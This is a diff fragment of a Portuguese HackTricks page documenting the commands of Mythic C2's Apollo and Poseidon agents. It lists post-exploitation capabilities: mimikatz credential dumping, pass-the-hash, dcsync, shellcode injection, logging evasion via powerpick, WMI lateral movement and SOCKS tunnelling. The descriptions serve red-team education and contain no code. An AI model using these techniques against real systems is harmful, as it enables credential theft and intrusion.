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@ -52,7 +54,7 @@ Este agente possui muitos comandos que o tornam muito semelhante ao Beacon do Co
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- `upload`: Fazer upload de um arquivo da máquina local para o sistema alvo
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- `reg_query`: Consultar chaves e valores do registro no sistema alvo
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- `reg_write_value`: Escrever um novo valor em uma chave de registro especificada
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- `sleep`: Alterar o intervalo de sono do agente, que determina com que frequência ele se conecta ao servidor Mythic
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- `sleep`: Alterar o intervalo de sono do agente, que determina com que frequência ele se comunica com o servidor Mythic
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- E muitos outros, use `help` para ver a lista completa de comandos disponíveis.
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### Escalação de privilégios
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@ -64,7 +66,7 @@ Este agente possui muitos comandos que o tornam muito semelhante ao Beacon do Co
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- `pth`: Ataque Pass-the-Hash, permitindo que o agente se autentique como um usuário usando seu hash NTLM sem precisar da senha em texto claro
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- `mimikatz`: Executar comandos Mimikatz para extrair credenciais, hashes e outras informações sensíveis da memória ou do banco de dados SAM
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- `rev2self`: Reverter o token do agente para seu token primário, efetivamente reduzindo privilégios de volta ao nível original
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- `ppid`: Alterar o processo pai para trabalhos de pós-exploração especificando um novo ID de processo pai, permitindo melhor controle sobre o contexto de execução do trabalho
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- `ppid`: Mudar o processo pai para trabalhos de pós-exploração especificando um novo ID de processo pai, permitindo melhor controle sobre o contexto de execução do trabalho
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- `printspoofer`: Executar comandos PrintSpoofer para contornar medidas de segurança do spooler de impressão, permitindo escalonamento de privilégios ou execução de código
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- `dcsync`: Sincronizar as chaves Kerberos de um usuário para a máquina local, permitindo quebra de senha offline ou ataques adicionais
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- `ticket_cache_add`: Adicionar um ticket Kerberos à sessão de logon atual ou a uma especificada, permitindo reutilização de tickets ou impersonação
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@ -77,10 +79,10 @@ Este agente possui muitos comandos que o tornam muito semelhante ao Beacon do Co
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- `execute_pe`: Executa um executável não gerenciado (PE)
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- `inline_assembly`: Executa um assembly .NET em um AppDomain descartável, permitindo a execução temporária de código sem afetar o processo principal do agente
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- `run`: Executa um binário no sistema alvo, usando o PATH do sistema para encontrar o executável
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- `shinject`: Injeta shellcode em um processo remoto, permitindo a execução em memória de código arbitrário
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- `inject`: Injeta shellcode do agente em um processo remoto, permitindo a execução em memória do código do agente
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- `shinject`: Injetar shellcode em um processo remoto, permitindo a execução em memória de código arbitrário
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- `inject`: Injetar shellcode do agente em um processo remoto, permitindo a execução em memória do código do agente
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- `spawn`: Cria uma nova sessão de agente no executável especificado, permitindo a execução de shellcode em um novo processo
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- `spawnto_x64` e `spawnto_x86`: Alterar o binário padrão usado em trabalhos de pós-exploração para um caminho especificado em vez de usar `rundll32.exe` sem parâmetros, que é muito barulhento.
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- `spawnto_x64` e `spawnto_x86`: Mudar o binário padrão usado em trabalhos de pós-exploração para um caminho especificado em vez de usar `rundll32.exe` sem parâmetros, que é muito barulhento.
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### Mithic Forge
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@ -101,7 +103,7 @@ Depois que um módulo é carregado, ele aparecerá na lista como outro comando,
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- `powershell_import`: Importa um novo script PowerShell (.ps1) para o cache do agente para execução posterior
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- `powershell`: Executa um comando PowerShell no contexto do agente, permitindo scripting avançado e automação
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- `powerpick`: Injeta um assembly loader do PowerShell em um processo sacrificial e executa um comando PowerShell (sem registro de logs do PowerShell).
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- `powerpick`: Injeta um assembly loader do PowerShell em um processo sacrificial e executa um comando PowerShell (sem registro de powershell).
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- `psinject`: Executa PowerShell em um processo especificado, permitindo a execução direcionada de scripts no contexto de outro processo
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- `shell`: Executa um comando de shell no contexto do agente, semelhante a executar um comando no cmd.exe
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@ -111,7 +113,7 @@ Depois que um módulo é carregado, ele aparecerá na lista como outro comando,
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- `jump_wmi`: Usa a técnica WMI para se mover lateralmente para um novo host, copiando primeiro o executável do agente Apollo (apollo.exe) e executando-o.
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- `wmiexecute`: Executa um comando no sistema local ou remoto especificado usando WMI, com credenciais opcionais para impersonação.
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- `net_dclist`: Recupera uma lista de controladores de domínio para o domínio especificado, útil para identificar alvos potenciais para movimento lateral.
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- `net_localgroup`: Lista grupos locais no computador especificado, default para localhost se nenhum computador for especificado.
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- `net_localgroup`: Lista grupos locais no computador especificado, padrão para localhost se nenhum computador for especificado.
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- `net_localgroup_member`: Recupera a associação de grupos locais para um grupo especificado no computador local ou remoto, permitindo a enumeração de usuários em grupos específicos.
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- `net_shares`: Lista compartilhamentos remotos e sua acessibilidade no computador especificado, útil para identificar alvos potenciais para movimento lateral.
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- `socks`: Habilita um proxy compatível com SOCKS 5 na rede alvo, permitindo o tunelamento de tráfego através do host comprometido. Compatível com ferramentas como proxychains.
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@ -120,8 +122,7 @@ Depois que um módulo é carregado, ele aparecerá na lista como outro comando,
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### Comandos Diversos
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- `help`: Exibe informações detalhadas sobre comandos específicos ou informações gerais sobre todos os comandos disponíveis no agente.
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- `clear`: Marca tarefas como 'limpas' para que não possam ser retomadas por agentes. Você pode especificar `all` para limpar todas as tarefas ou `task Num` para limpar uma tarefa específica.
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- `clear`: Marca tarefas como 'limpas' para que não possam ser capturadas por agentes. Você pode especificar `all` para limpar todas as tarefas ou `task Num` para limpar uma tarefa específica.
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## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
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@ -151,10 +152,10 @@ Quando o usuário está no linux, ele tem alguns comandos interessantes:
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### Mover lateralmente
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- `ssh`: SSH para o host usando as credenciais designadas e abrir um PTY sem gerar ssh.
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- `sshauth`: SSH para host(s) especificados usando as credenciais designadas. Você também pode usar isso para executar um comando específico nos hosts remotos via SSH ou usá-lo para SCP arquivos.
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- `sshauth`: SSH para o(s) host(s) especificado(s) usando as credenciais designadas. Você também pode usar isso para executar um comando específico nos hosts remotos via SSH ou usá-lo para SCP arquivos.
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- `link_tcp`: Link para outro agente via TCP, permitindo comunicação direta entre agentes.
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- `link_webshell`: Link para um agente usando o perfil P2P do webshell, permitindo acesso remoto à interface web do agente.
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- `rpfwd`: Iniciar ou parar um Reverso Port Forward, permitindo acesso remoto a serviços na rede alvo.
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- `rpfwd`: Iniciar ou parar um Reencaminhamento de Porta Reversa, permitindo acesso remoto a serviços na rede alvo.
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- `socks`: Iniciar ou parar um proxy SOCKS5 na rede alvo, permitindo o tunelamento de tráfego através do host comprometido. Compatível com ferramentas como proxychains.
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- `portscan`: Escanear host(s) em busca de portas abertas, útil para identificar alvos potenciais para movimento lateral ou ataques adicionais.
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@ -163,3 +164,5 @@ Quando o usuário está no linux, ele tem alguns comandos interessantes:
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- `shell`: Executar um único comando shell via /bin/sh, permitindo a execução direta de comandos no sistema alvo.
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- `run`: Executar um comando do disco com argumentos, permitindo a execução de binários ou scripts no sistema alvo.
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- `pty`: Abrir um PTY interativo, permitindo interação direta com o shell no sistema alvo.
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{{#include ../banners/hacktricks-training.md}}
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